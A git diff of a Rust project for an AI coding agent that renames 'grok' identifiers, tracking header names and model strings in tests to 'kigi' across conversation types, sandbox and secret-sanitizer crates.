@@ -353,16 +353,16 @@ async fn request_carries_bearer_kigi_ua_and_kimi_dialect_body() {
     for gone in [
         "x-xai-token-auth",
         "x-authenticateresponse",
-        "x-grok-conv-id",
-        "x-grok-req-id",
-        "x-grok-model-override",
-        "x-grok-session-id",
-        "x-grok-agent-id",
-        "x-grok-client-identifier",
-        "x-grok-client-version",
-        "x-grok-deployment-id",
-        "x-grok-user-id",
-        "x-grok-client-mode",
+        "x-kigi-conv-id",
+        "x-kigi-req-id",
+        "x-kigi-model-override",
+        "x-kigi-session-id",
+        "x-kigi-agent-id",
+        "x-kigi-client-identifier",
+        "x-kigi-client-version",
+        "x-kigi-deployment-id",
+        "x-kigi-user-id",
+        "x-kigi-client-mode",
     ] {
         assert!(
             headers.get(gone).is_none(),
@@ -401,7 +401,7 @@ async fn request_carries_bearer_kigi_ua_and_kimi_dialect_body() {
         None,
         "empty tool-call content dropped (kimi.py:339-350)"
     );
-    assert_eq!(assistant.get("model_id"), None, "grok extension dropped");
+    assert_eq!(assistant.get("model_id"), None, "kigi extension dropped");
     assert_eq!(
         assistant["reasoning_content"],
         json!("planning the read"),
diff --git a/crates/codegen/kigi-sampling-types/src/conversation.rs b/crates/codegen/kigi-sampling-types/src/conversation.rs
index d82a352..9e24d3a 100644
--- a/crates/codegen/kigi-sampling-types/src/conversation.rs
+++ b/crates/codegen/kigi-sampling-types/src/conversation.rs
@@ -532,13 +532,13 @@ pub struct ConversationRequest {
     /// Top-p sampling
     pub top_p: Option<f32>,
     /// Custom headers for xAI tracking
-    pub x_grok_conv_id: Option<String>,
-    pub x_grok_req_id: Option<String>,
-    pub x_grok_session_id: Option<String>,
-    pub x_grok_turn_idx: Option<String>,
-    pub x_grok_agent_id: Option<String>,
-    pub x_grok_deployment_id: Option<String>,
-    pub x_grok_user_id: Option<String>,
+    pub x_kigi_conv_id: Option<String>,
+    pub x_kigi_req_id: Option<String>,
+    pub x_kigi_session_id: Option<String>,
+    pub x_kigi_turn_idx: Option<String>,
+    pub x_kigi_agent_id: Option<String>,
+    pub x_kigi_deployment_id: Option<String>,
+    pub x_kigi_user_id: Option<String>,
     /// Optional opaque tracing context (e.g., where to persist the finalized request payload).
     /// Consumers downcast via `trace.as_ref().unwrap().as_any().downcast_ref::<T>()`.
     pub trace: Option<Box<dyn TraceContext>>,
@@ -717,7 +717,7 @@ pub struct ConversationResponse {
     /// (e.g. the TUI) see the turn as complete.
     pub message_chunks_emitted: u64,
     /// Server-reported doom-loop triggers for this response (Responses API
-    /// only, opt-in via the `x-grok-doom-loop-check` header). Empty when the
+    /// only, opt-in via the `x-kigi-doom-loop-check` header). Empty when the
     /// check is disabled or nothing was reported; deduplicated by raw label.
     /// See [`crate::doom_loop`].
     pub doom_loop_signals: Vec<crate::doom_loop::DoomLoopSignal>,
@@ -1166,8 +1166,8 @@ impl ConversationItem {
 // for `ConversationItem`
 // ---------------------------------------------------------------------------
 //
-// Part of the Grok Compaction unification. Lets the shared, transport-agnostic
-// engine in `crates/common/kigi-compaction` operate over grok-build's
+// Part of the Kigi Compaction unification. Lets the shared, transport-agnostic
+// engine in `crates/common/kigi-compaction` operate over kigi's
 // `ConversationItem` without depending on this crate — the orphan rule forces
 // the impls to live here, next to the type. Mirrors the harness's
 // `impl CompactionItem` for its own turn type.
@@ -1181,7 +1181,7 @@ impl ConversationItem {
 impl kigi_compaction::CompactionItem for ConversationItem {
     fn role(&self) -> kigi_compaction::CompactionRole {
         use kigi_compaction::CompactionRole;
-        // grok-build has no distinct `Developer` role; everything maps onto
+        // kigi has no distinct `Developer` role; everything maps onto
         // the four `Role` variants `ConversationItem::role()` already returns.
         match self.role() {
             Role::System => CompactionRole::System,
@@ -1203,21 +1203,21 @@ impl kigi_compaction::CompactionItem for ConversationItem {
     }
 
     fn is_compaction_summary(&self) -> bool {
-        // grok-build has no structural marker that uniquely identifies a prior
+        // kigi has no structural marker that uniquely identifies a prior
         // compaction summary: the carrier is a `user_meta` item whose
         // `SyntheticReason::CompactionMeta` is also used for re-injected file
         // contents. Returning `false` is safe for the full-replace path, which
         // does not consult this (it summarizes the whole conversation). Revisit
-        // (add a dedicated marker) before routing grok-build history through
+        // (add a dedicated marker) before routing kigi history through
         // the shared `history`/`inter` filter.
         false
     }
 
     fn attachment_refs(&self) -> Vec<kigi_compaction::CompactionFileRef> {
-        // grok-build `UserItem`s carry only `Text`/`Image { url }` content
+        // kigi `UserItem`s carry only `Text`/`Image { url }` content
         // parts — there is no id+name attachment-ref concept like the chat harness's
-        // `GrokTurn`. The full-replace path does not read this; revisit if
-        // image attachments need to survive into the `<grok_user_queries>`
+        // `KigiTurn`. The full-replace path does not read this; revisit if
+        // image attachments need to survive into the `<kigi_user_queries>`
         // preamble.
         Vec::new()
     }
@@ -2090,13 +2090,13 @@ impl From<ConversationRequest> for ChatCompletionRequest {
             search_parameters: None,
             response_format,
             reasoning_effort: req.reasoning_effort,
-            x_grok_conv_id: req.x_grok_conv_id,
-            x_grok_req_id: req.x_grok_req_id,
-            x_grok_session_id: req.x_grok_session_id,
-            x_grok_turn_idx: req.x_grok_turn_idx,
-            x_grok_agent_id: req.x_grok_agent_id,
-            x_grok_deployment_id: req.x_grok_deployment_id,
-            x_grok_user_id: req.x_grok_user_id,
+            x_kigi_conv_id: req.x_kigi_conv_id,
+            x_kigi_req_id: req.x_kigi_req_id,
+            x_kigi_session_id: req.x_kigi_session_id,
+            x_kigi_turn_idx: req.x_kigi_turn_idx,
+            x_kigi_agent_id: req.x_kigi_agent_id,
+            x_kigi_deployment_id: req.x_kigi_deployment_id,
+            x_kigi_user_id: req.x_kigi_user_id,
             trace: None,
         }
     }
@@ -2486,13 +2486,13 @@ impl ConversationRequest {
 
     /// Set conversation ID header
     pub fn with_conv_id(mut self, conv_id: impl Into<String>) -> Self {
-        self.x_grok_conv_id = Some(conv_id.into());
+        self.x_kigi_conv_id = Some(conv_id.into());
         self
     }
 
     /// Set request ID header
     pub fn with_req_id(mut self, req_id: impl Into<String>) -> Self {
-        self.x_grok_req_id = Some(req_id.into());
+        self.x_kigi_req_id = Some(req_id.into());
         self
     }
 
@@ -3240,7 +3240,7 @@ pub fn build_messages_request(req: &ConversationRequest) -> crate::messages::Mes
         .map(|s| s.to_string());
 
     // Faithful native mapping for callers that opt into Anthropic structured
-    // output without tools. The grok-shell agent does NOT use this path — a
+    // output without tools. The kigi-shell agent does NOT use this path — a
     // wire schema here suppresses tool calls, so it routes Messages-backend
     // structured output through the StructuredOutput tool instead (see
     // `ApiBackend::supports_native_schema`).
@@ -3412,7 +3412,7 @@ mod compaction_item_bridge_tests {
 
     #[test]
     fn metadata_accessors_are_conservative() {
-        // grok-build has no structural compaction-summary marker, and no
+        // kigi has no structural compaction-summary marker, and no
         // id+name attachment refs, so both return empty/false.
         assert!(!CompactionItem::is_compaction_summary(
             &ConversationItem::user("u")
@@ -3532,7 +3532,7 @@ mod tests {
         // single-item conversion produces None for reasoning_content. The
         // `conversation_to_chat_messages` helper is what carries reasoning
         // through; tested separately).
-        let assistant = ConversationItem::assistant_with_model("Hi there!", "grok-3");
+        let assistant = ConversationItem::assistant_with_model("Hi there!", "kigi-3");
         let chat_msg = conversation_item_to_chat_message(assistant);
         assert_eq!(chat_msg.reasoning_content, None);
         let back: ConversationItem = chat_msg.into();
@@ -3550,11 +3550,11 @@ mod tests {
             ConversationItem::system("System prompt"),
             ConversationItem::user("User message"),
         ])
-        .with_model("grok-3")
+        .with_model("kigi-3")
         .with_temperature(0.7);
 
         let chat_req: ChatCompletionRequest = req.into();
-        assert_eq!(chat_req.model, Some("grok-3".to_string()));
+        assert_eq!(chat_req.model, Some("kigi-3".to_string()));
         assert_eq!(chat_req.temperature, Some(0.7));
         assert_eq!(chat_req.messages.len(), 2);
     }
@@ -3565,11 +3565,11 @@ mod tests {
             ConversationItem::system("System prompt"),
             ConversationItem::user("User message"),
         ])
-        .with_model("grok-3")
+        .with_model("kigi-3")
         .with_temperature(0.7);
 
         let responses_req: rs::CreateResponse = (&req).into();
-        assert_eq!(responses_req.model, Some("grok-3".to_string()));
+        assert_eq!(responses_req.model, Some("kigi-3".to_string()));
         assert_eq!(responses_req.temperature, Some(0.7));
 
         let rs::InputParam::Items(items) = responses_req.input else {
@@ -3826,7 +3826,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: None,
-            model: "grok-3".to_string(),
+            model: "kigi-3".to_string(),
             object: "response".to_string(),
             output: vec![rs::OutputItem::Message(rs::OutputMessage {
                 content: vec![rs::OutputMessageContent::OutputText(
@@ -3868,7 +3868,7 @@ mod tests {
         let ConversationItem::Assistant(a) = &item else {
             panic!("Expected Assistant item");
         };
-        assert_eq!(a.model_id, Some("grok-3".to_string()));
+        assert_eq!(a.model_id, Some("kigi-3".to_string()));
         assert_eq!(
             a.reasoning_effort, None,
             "no reasoning config on the response => no effort recorded"
@@ -3887,7 +3887,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: None,
-            model: "grok-3".to_string(),
+            model: "kigi-3".to_string(),
             object: "response".to_string(),
             output: vec![rs::OutputItem::FunctionCall(rs::FunctionToolCall {
                 arguments: r#"{"path": "/bar.txt"}"#.to_string(),
@@ -3947,7 +3947,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: None,
-            model: "grok-3".to_string(),
+            model: "kigi-3".to_string(),
             object: "response".to_string(),
             output: vec![],
             parallel_tool_calls: None,
@@ -4076,7 +4076,7 @@ mod tests {
                 name: "read_file".to_string(),
                 arguments: r#"{"path": "/test.txt"}"#.into(),
             }],
-            model_id: Some("grok-3".to_string()),
+            model_id: Some("kigi-3".to_string()),
             model_fingerprint: None,
             reasoning_effort: None,
         };
@@ -4086,7 +4086,7 @@ mod tests {
 
         assert_eq!(chat_msg.text_content(), "Let me help you with that.");
         assert_eq!(chat_msg.tool_calls.len(), 1);
-        assert_eq!(chat_msg.model_id, Some("grok-3".to_string()));
+        assert_eq!(chat_msg.model_id, Some("kigi-3".to_string()));
     }
 
     // ============================================================================
@@ -4275,7 +4275,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: None,
-            model: "grok-3".to_string(),
+            model: "kigi-3".to_string(),
             object: "response".to_string(),
             output: vec![
                 rs::OutputItem::Reasoning(rs::ReasoningItem {
@@ -4348,7 +4348,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: None,
-            model: "grok-3".to_string(),
+            model: "kigi-3".to_string(),
             object: "response".to_string(),
             output: vec![
                 rs::OutputItem::Reasoning(rs::ReasoningItem {
@@ -4438,7 +4438,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: None,
-            model: "grok-3".to_string(),
+            model: "kigi-3".to_string(),
             object: "response".to_string(),
             output: vec![
                 rs::OutputItem::Reasoning(rs::ReasoningItem {
@@ -4531,7 +4531,7 @@ mod tests {
         let assistant_item = ConversationItem::Assistant(AssistantItem {
             content: "The answer is 42.".into(),
             tool_calls: vec![],
-            model_id: Some("grok-3".to_string()),
+            model_id: Some("kigi-3".to_string()),
             model_fingerprint: None,
             reasoning_effort: None,
         });
@@ -4563,7 +4563,7 @@ mod tests {
             ConversationItem::Assistant(AssistantItem {
                 content: "The answer is 4.".into(),
                 tool_calls: vec![],
-                model_id: Some("grok-3".to_string()),
+                model_id: Some("kigi-3".to_string()),
                 model_fingerprint: None,
                 reasoning_effort: None,
             }),
@@ -6290,7 +6290,7 @@ mod tests {
             ConversationItem::Assistant(AssistantItem {
                 content: format!("I edited {worktree}/src/main.rs").into(),
                 tool_calls: vec![],
-                model_id: Some("grok-3".to_string()),
+                model_id: Some("kigi-3".to_string()),
                 model_fingerprint: None,
                 reasoning_effort: None,
             }),
@@ -6833,18 +6833,18 @@ mod tests {
     #[test]
     fn test_conversation_request_builder() {
         let req = ConversationRequest::new()
-            .with_model("grok-3")
+            .with_model("kigi-3")
             .with_temperature(0.5)
             .with_max_output_tokens(1000)
             .with_conv_id("conv-123")
             .with_req_id("req-456")
             .with_tool_choice(ConversationToolChoice::Auto);
 
-        assert_eq!(req.model, Some("grok-3".to_string()));
+        assert_eq!(req.model, Some("kigi-3".to_string()));
         assert_eq!(req.temperature, Some(0.5));
         assert_eq!(req.max_output_tokens, Some(1000));
-        assert_eq!(req.x_grok_conv_id, Some("conv-123".to_string()));
-        assert_eq!(req.x_grok_req_id, Some("req-456".to_string()));
+        assert_eq!(req.x_kigi_conv_id, Some("conv-123".to_string()));
+        assert_eq!(req.x_kigi_req_id, Some("req-456".to_string()));
         assert_matches!(req.tool_choice, Some(ConversationToolChoice::Auto));
     }
 
@@ -6868,22 +6868,22 @@ mod tests {
             model_fingerprint: None,
             reasoning_effort: None,
         }
-        .with_model_id("grok-3");
+        .with_model_id("kigi-3");
 
-        assert_eq!(item.model_id, Some("grok-3".to_string()));
+        assert_eq!(item.model_id, Some("kigi-3".to_string()));
     }
 
     #[test]
     fn test_conversation_item_with_model_id() {
-        let item = ConversationItem::assistant("Hello").with_model_id("grok-3");
+        let item = ConversationItem::assistant("Hello").with_model_id("kigi-3");
 
         let ConversationItem::Assistant(a) = item else {
             panic!("Expected Assistant");
         };
-        assert_eq!(a.model_id, Some("grok-3".to_string()));
+        assert_eq!(a.model_id, Some("kigi-3".to_string()));
 
         // Non-assistant should be unchanged
-        let user = ConversationItem::user("Hi").with_model_id("grok-3");
+        let user = ConversationItem::user("Hi").with_model_id("kigi-3");
         assert_matches!(user, ConversationItem::User(_));
     }
 
@@ -8072,7 +8072,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: Some(metadata),
-            model: "grok-4.5".into(),
+            model: "kigi-4.5".into(),
             object: "response".into(),
             output: vec![rs::OutputItem::Message(rs::OutputMessage {
                 content: vec![rs::OutputMessageContent::OutputText(
@@ -8112,7 +8112,7 @@ mod tests {
             .expect("response produces at least a trailing Assistant");
         assert_matches!(item, ConversationItem::Assistant(ref a) => {
             assert_eq!(a.model_fingerprint.as_deref(), Some("fp_abc123"));
-            assert_eq!(a.model_id.as_deref(), Some("grok-4.5"));
+            assert_eq!(a.model_id.as_deref(), Some("kigi-4.5"));
             assert_eq!(a.content.as_ref(), "hello");
         });
     }
@@ -8283,7 +8283,7 @@ mod tests {
             instructions: None,
             max_output_tokens: None,
             metadata: None,
-            model: "grok-build".to_string(),
+            model: "kigi".to_string(),
             object: "response".to_string(),
             output: vec![
                 make_reasoning("a", "thinking pre-search", None),
@@ -8593,14 +8593,14 @@ mod tests {
     //
     //   1. v1 assistant with `raw_output: Vec<OutputItem>` (backend-search era)
     //   2. v1 assistant with singular `reasoning: ReasoningContent`
-    //      (earlier grok-build / chat-completions written as v1)
+    //      (earlier kigi / chat-completions written as v1)
     //   3. v0 `ChatRequestMessage` with top-level `reasoning_content`
     //
     // Idempotent (current-format rows produce zero siblings) — verified by
     // `upgrade_is_idempotent_on_post_pr_rows`.
 
     #[test]
-    fn upgrade_legacy_reasoning_singular_grok_build_shape() {
+    fn upgrade_legacy_reasoning_singular_kigi_shape() {
         // Synthetic fixture (truncated text + encrypted stub)
         // (truncated text + encrypted for readability). The assistant row
         // carries `reasoning: { text, encrypted, id }` inline — the
@@ -8613,7 +8613,7 @@ mod tests {
                 "encrypted": "bIfXFNBiP8EI8F7pkKC1tgbYjvVuIctMAlCUGMii",
                 "id": "rs_00000000-0000-4000-8000-000000000001"
             },
-            "model_id": "grok-build",
+            "model_id": "kigi",
             "model_fingerprint": "fp_test000000000001"
         });
         let mut seen = std::collections::HashSet::new();
@@ -8801,7 +8801,7 @@ mod tests {
         let raw = serde_json::json!({
             "type": "assistant",
             "content": "answer",
-            "model_id": "grok-build"
+            "model_id": "kigi"
         });
         let mut seen = std::collections::HashSet::new();
         assert!(upgrade_legacy_reasoning(&raw, &mut seen).is_empty());
diff --git a/crates/codegen/kigi-sampling-types/src/doom_loop.rs b/crates/codegen/kigi-sampling-types/src/doom_loop.rs
index 05287f8..12bc5e2 100644
--- a/crates/codegen/kigi-sampling-types/src/doom_loop.rs
+++ b/crates/codegen/kigi-sampling-types/src/doom_loop.rs
@@ -1,6 +1,6 @@
 //! Server-side doom-loop check: wire contract types and tolerant parsers.
 //!
-//! When the client opts in via the `x-grok-doom-loop-check` request header,
+//! When the client opts in via the `x-kigi-doom-loop-check` request header,
 //! the inference API reports detected generation loops on streaming
 //! `/v1/responses` requests in two places:
 //!
@@ -22,7 +22,7 @@
 use serde::{Deserialize, Serialize};
 
 /// Request header whose presence enables the server-side check.
-pub const DOOM_LOOP_CHECK_HEADER: &str = "x-grok-doom-loop-check";
+pub const DOOM_LOOP_CHECK_HEADER: &str = "x-kigi-doom-loop-check";
 
 /// `type` of the non-standard mid-stream SSE event — also its SSE `event:`
 /// name. async-openai's typed `rs::ResponseStreamEvent` does not know this
diff --git a/crates/codegen/kigi-sampling-types/src/types.rs b/crates/codegen/kigi-sampling-types/src/types.rs
index 15a81a4..29cc79d 100644
--- a/crates/codegen/kigi-sampling-types/src/types.rs
+++ b/crates/codegen/kigi-sampling-types/src/types.rs
@@ -90,19 +90,19 @@ pub struct ChatCompletionRequest {
 
     /// custom headers
     #[serde(skip)]
-    pub x_grok_conv_id: Option<String>,
+    pub x_kigi_conv_id: Option<String>,
     #[serde(skip)]
-    pub x_grok_req_id: Option<String>,
+    pub x_kigi_req_id: Option<String>,
     #[serde(skip)]
-    pub x_grok_session_id: Option<String>,
+    pub x_kigi_session_id: Option<String>,
     #[serde(skip)]
-    pub x_grok_turn_idx: Option<String>,
+    pub x_kigi_turn_idx: Option<String>,
     #[serde(skip)]
-    pub x_grok_agent_id: Option<String>,
+    pub x_kigi_agent_id: Option<String>,
     #[serde(skip)]
-    pub x_grok_deployment_id: Option<String>,
+    pub x_kigi_deployment_id: Option<String>,
     #[serde(skip)]
-    pub x_grok_user_id: Option<String>,
+    pub x_kigi_user_id: Option<String>,
 
     /// Optional opaque tracing context (e.g., where to persist the finalized request payload).
     /// This is intentionally not serialized or deserialized.
@@ -127,13 +127,13 @@ impl ChatCompletionRequest {
             search_parameters: None,
             response_format: None,
             reasoning_effort: None,
-            x_grok_conv_id: None,
-            x_grok_req_id: None,
-            x_grok_session_id: None,
-            x_grok_turn_idx: None,
-            x_grok_agent_id: None,
-            x_grok_deployment_id: None,
-            x_grok_user_id: None,
+            x_kigi_conv_id: None,
+            x_kigi_req_id: None,
+            x_kigi_session_id: None,
+            x_kigi_turn_idx: None,
+            x_kigi_agent_id: None,
+            x_kigi_deployment_id: None,
+            x_kigi_user_id: None,
             trace: None,
         }
     }
@@ -153,13 +153,13 @@ impl ChatCompletionRequest {
             search_parameters: None,
             response_format: None,
             reasoning_effort: None,
-            x_grok_conv_id: None,
-            x_grok_req_id: None,
-            x_grok_session_id: None,
-            x_grok_turn_idx: None,
-            x_grok_agent_id: None,
-            x_grok_deployment_id: None,
-            x_grok_user_id: None,
+            x_kigi_conv_id: None,
+            x_kigi_req_id: None,
+            x_kigi_session_id: None,
+            x_kigi_turn_idx: None,
+            x_kigi_agent_id: None,
+            x_kigi_deployment_id: None,
+            x_kigi_user_id: None,
             trace: None,
         }
     }
@@ -1082,16 +1082,16 @@ pub struct CreateResponseWrapper {
     pub inner: crate::rs::CreateResponse,
 
     /// Custom header: conversation ID for tracking.
-    pub x_grok_conv_id: Option<String>,
+    pub x_kigi_conv_id: Option<String>,
 
     /// Custom header: request ID for tracking.
-    pub x_grok_req_id: Option<String>,
+    pub x_kigi_req_id: Option<String>,
 
-    pub x_grok_session_id: Option<String>,
-    pub x_grok_turn_idx: Option<String>,
-    pub x_grok_agent_id: Option<String>,
-    pub x_grok_deployment_id: Option<String>,
-    pub x_grok_user_id: Option<String>,
+    pub x_kigi_session_id: Option<String>,
+    pub x_kigi_turn_idx: Option<String>,
+    pub x_kigi_agent_id: Option<String>,
+    pub x_kigi_deployment_id: Option<String>,
+    pub x_kigi_user_id: Option<String>,
 
     /// Optional tracing context (e.g., where to persist the finalized request payload).
     pub trace: Option<Box<dyn TraceContext>>,
@@ -1107,13 +1107,13 @@ impl CreateResponseWrapper {
     pub fn new(inner: crate::rs::CreateResponse) -> Self {
         Self {
             inner,
-            x_grok_conv_id: None,
-            x_grok_req_id: None,
-            x_grok_session_id: None,
-            x_grok_turn_idx: None,
-            x_grok_agent_id: None,
-            x_grok_deployment_id: None,
-            x_grok_user_id: None,
+            x_kigi_conv_id: None,
+            x_kigi_req_id: None,
+            x_kigi_session_id: None,
+            x_kigi_turn_idx: None,
+            x_kigi_agent_id: None,
+            x_kigi_deployment_id: None,
+            x_kigi_user_id: None,
             trace: None,
             extra_raw_tools: vec![],
         }
@@ -1121,13 +1121,13 @@ impl CreateResponseWrapper {
 
     /// Set the conversation ID header.
     pub fn with_conv_id(mut self, conv_id: impl Into<String>) -> Self {
-        self.x_grok_conv_id = Some(conv_id.into());
+        self.x_kigi_conv_id = Some(conv_id.into());
         self
     }
 
     /// Set the request ID header.
     pub fn with_req_id(mut self, req_id: impl Into<String>) -> Self {
-        self.x_grok_req_id = Some(req_id.into());
+        self.x_kigi_req_id = Some(req_id.into());
         self
     }
 
@@ -1154,16 +1154,16 @@ pub struct MessagesRequestWrapper {
     pub inner: crate::messages::MessagesRequest,
 
     /// Custom header: conversation ID for tracking.
-    pub x_grok_conv_id: Option<String>,
+    pub x_kigi_conv_id: Option<String>,
 
     /// Custom header: request ID for tracking.
-    pub x_grok_req_id: Option<String>,
+    pub x_kigi_req_id: Option<String>,
 
-    pub x_grok_session_id: Option<String>,
-    pub x_grok_turn_idx: Option<String>,
-    pub x_grok_agent_id: Option<String>,
-    pub x_grok_deployment_id: Option<String>,
-    pub x_grok_user_id: Option<String>,
+    pub x_kigi_session_id: Option<String>,
+    pub x_kigi_turn_idx: Option<String>,
+    pub x_kigi_agent_id: Option<String>,
+    pub x_kigi_deployment_id: Option<String>,
+    pub x_kigi_user_id: Option<String>,
 
     /// Optional tracing context (e.g., where to persist the finalized request payload).
     pub trace: Option<Box<dyn TraceContext>>,
@@ -1174,26 +1174,26 @@ impl MessagesRequestWrapper {
     pub fn new(inner: crate::messages::MessagesRequest) -> Self {
         Self {
             inner,
-            x_grok_conv_id: None,
-            x_grok_req_id: None,
-            x_grok_session_id: None,
-            x_grok_turn_idx: None,
-            x_grok_agent_id: None,
-            x_grok_deployment_id: None,
-            x_grok_user_id: None,
+            x_kigi_conv_id: None,
+            x_kigi_req_id: None,
+            x_kigi_session_id: None,
+            x_kigi_turn_idx: None,
+            x_kigi_agent_id: None,
+            x_kigi_deployment_id: None,
+            x_kigi_user_id: None,
             trace: None,
         }
     }
 
     /// Set the conversation ID header.
     pub fn with_conv_id(mut self, conv_id: impl Into<String>) -> Self {
-        self.x_grok_conv_id = Some(conv_id.into());
+        self.x_kigi_conv_id = Some(conv_id.into());
         self
     }
 
     /// Set the request ID header.
     pub fn with_req_id(mut self, req_id: impl Into<String>) -> Self {
-        self.x_grok_req_id = Some(req_id.into());
+        self.x_kigi_req_id = Some(req_id.into());
         self
     }
 
@@ -1311,7 +1311,7 @@ mod tests {
     fn parse_reasoning_efforts_meta_absent_is_none() {
         assert!(parse_reasoning_efforts_meta(None).is_none());
         assert!(
-            parse_reasoning_efforts_meta(Some(json!({ "agentType": "grok" }).as_object().unwrap()))
+            parse_reasoning_efforts_meta(Some(json!({ "agentType": "kigi" }).as_object().unwrap()))
                 .is_none()
         );
     }
diff --git a/crates/codegen/kigi-sandbox/Cargo.toml b/crates/codegen/kigi-sandbox/Cargo.toml
index 7ba2f35..cb9ebb6 100644
--- a/crates/codegen/kigi-sandbox/Cargo.toml
+++ b/crates/codegen/kigi-sandbox/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-sandbox"
 version.workspace = true
 edition.workspace = true
-description = "OS-level sandboxing for Grok Build using kernel primitives (Landlock/Seatbelt) via nono"
+description = "OS-level sandboxing for Kigi using kernel primitives (Landlock/Seatbelt) via nono"
 
 [dependencies]
 anyhow = { workspace = true }
diff --git a/crates/codegen/kigi-sandbox/src/lib.rs b/crates/codegen/kigi-sandbox/src/lib.rs
index 68e64b7..ce33e4f 100644
--- a/crates/codegen/kigi-sandbox/src/lib.rs
+++ b/crates/codegen/kigi-sandbox/src/lib.rs
@@ -5,7 +5,7 @@
     unreachable_code,
     dead_code
 )]
-//! OS-level sandboxing for Grok Build via [nono](https://crates.io/crates/nono).
+//! OS-level sandboxing for Kigi via [nono](https://crates.io/crates/nono).
 //!
 //! Applied once at process startup. Covers in-process `tokio::fs` calls
 //! and child processes. Network is left open at the process level (agent
@@ -48,7 +48,7 @@ static SANDBOX: OnceLock<GlobalSandboxState> = OnceLock::new();
 static CONFIGURED_PROFILE: OnceLock<String> = OnceLock::new();
 static RESTRICT_CHILD_NETWORK: AtomicBool = AtomicBool::new(false);
 static AUTO_ALLOW_BASH: AtomicBool = AtomicBool::new(false);
-const BWRAP_ENV_VAR: &str = "__GROK_INSIDE_BWRAP";
+const BWRAP_ENV_VAR: &str = "__KIGI_INSIDE_BWRAP";
 pub fn is_inside_bwrap() -> bool {
     std::env::var(BWRAP_ENV_VAR).is_ok()
 }
@@ -299,7 +299,7 @@ fn chmod_000(path: &Path) -> Option<()> {
 }
 /// Zero-permission placeholder (file or dir) under `kigi_home` used by bwrap bind-over.
 ///
-/// The placeholder name is suffixed with the current PID so concurrent grok
+/// The placeholder name is suffixed with the current PID so concurrent kigi
 /// processes don't race each other's create/remove/chmod on a shared path (which
 /// could yield `None` and the silent dropped-bind fail-open this avoids).
 #[cfg(all(feature = "enforce", target_os = "linux"))]
@@ -620,10 +620,10 @@ mod tests {
             .duration_since(std::time::UNIX_EPOCH)
             .unwrap()
             .as_nanos();
-        let ws = std::env::temp_dir().join(format!("grok-{tag}-{}-{nanos}", std::process::id()));
-        let grok = ws.join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("sandbox.toml"), toml_body).unwrap();
+        let ws = std::env::temp_dir().join(format!("kigi-{tag}-{}-{nanos}", std::process::id()));
+        let kigi = ws.join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("sandbox.toml"), toml_body).unwrap();
         ws
     }
     /// Create a temp workspace defining a `denytest` profile (extends `workspace`)
@@ -659,7 +659,7 @@ mod tests {
     #[cfg(all(feature = "enforce", target_os = "linux"))]
     fn bwrap_reexec_uses_dir_placeholder_for_directories() {
         let _g = EnvGuard::remove(BWRAP_ENV_VAR);
-        let dir = std::env::temp_dir().join(format!("grok-deny-dir-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-deny-dir-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let dir_str = dir.to_string_lossy().to_string();
         let result = bwrap_reexec_command(&[], &[&dir_str]);
diff --git a/crates/codegen/kigi-sandbox/src/paths.rs b/crates/codegen/kigi-sandbox/src/paths.rs
index f7bbb2b..a24b25d 100644
--- a/crates/codegen/kigi-sandbox/src/paths.rs
+++ b/crates/codegen/kigi-sandbox/src/paths.rs
@@ -8,9 +8,9 @@
 use std::path::Path;
 use std::path::PathBuf;
 
-// ── Grok state directory ────────────────────────────────────────────────────
+// ── Kigi state directory ────────────────────────────────────────────────────
 
-/// Grok state directory — always writable (`$KIGI_SHARE_DIR` or `~/.kigi`).
+/// Kigi state directory — always writable (`$KIGI_SHARE_DIR` or `~/.kigi`).
 pub(crate) fn kigi_home() -> PathBuf {
     kigi_config::kigi_home()
 }
diff --git a/crates/codegen/kigi-sandbox/tests/deny_paths_e2e.rs b/crates/codegen/kigi-sandbox/tests/deny_paths_e2e.rs
index c79aab7..ea57cc4 100644
--- a/crates/codegen/kigi-sandbox/tests/deny_paths_e2e.rs
+++ b/crates/codegen/kigi-sandbox/tests/deny_paths_e2e.rs
@@ -323,7 +323,7 @@ fn run_deny_case(
     }
 
     let tmp = std::env::temp_dir().join(format!(
-        "grok-sandbox-e2e-{tag}-{}-{}",
+        "kigi-sandbox-e2e-{tag}-{}-{}",
         std::process::id(),
         std::time::SystemTime::now()
             .duration_since(std::time::UNIX_EPOCH)
diff --git a/crates/codegen/kigi-secrets/Cargo.toml b/crates/codegen/kigi-secrets/Cargo.toml
index 764dc20..8335a51 100644
--- a/crates/codegen/kigi-secrets/Cargo.toml
+++ b/crates/codegen/kigi-secrets/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 edition.workspace = true
 name = "kigi-secrets"
 version.workspace = true
-description = "Regex sanitizer for Grok Build outbound data (Sentry / Mixpanel / product-event scrubbing)"
+description = "Regex sanitizer for Kigi outbound data (Sentry / Mixpanel / product-event scrubbing)"
 
 [dependencies]
 regex = { workspace = true }
diff --git a/crates/codegen/kigi-secrets/src/sanitizer.rs b/crates/codegen/kigi-secrets/src/sanitizer.rs
index ae2579c..a7fe5ca 100644
--- a/crates/codegen/kigi-secrets/src/sanitizer.rs
+++ b/crates/codegen/kigi-secrets/src/sanitizer.rs
@@ -336,7 +336,7 @@ mod tests {
             redact_secrets("just a normal log line"),
             Cow::Borrowed(_)
         ));
-        assert!(matches!(redact_secrets("model=grok-3"), Cow::Borrowed(_)));
+        assert!(matches!(redact_secrets("model=kigi-3"), Cow::Borrowed(_)));
     }
 
     /// Joins fixture fragments at runtime so realistic-looking fake tokens
@@ -461,14 +461,14 @@ mod tests {
 
     #[test]
     fn redacts_sensitive_url_query_params() {
-        let out = redact_secrets("callback https://x.ai/cb?code=ABC123XYZ&state=xyz789 failed");
+        let out = redact_secrets("callback https://kimi.com/cb?code=ABC123XYZ&state=xyz789 failed");
         assert!(!out.contains("ABC123XYZ"), "OAuth code leaked: {out}");
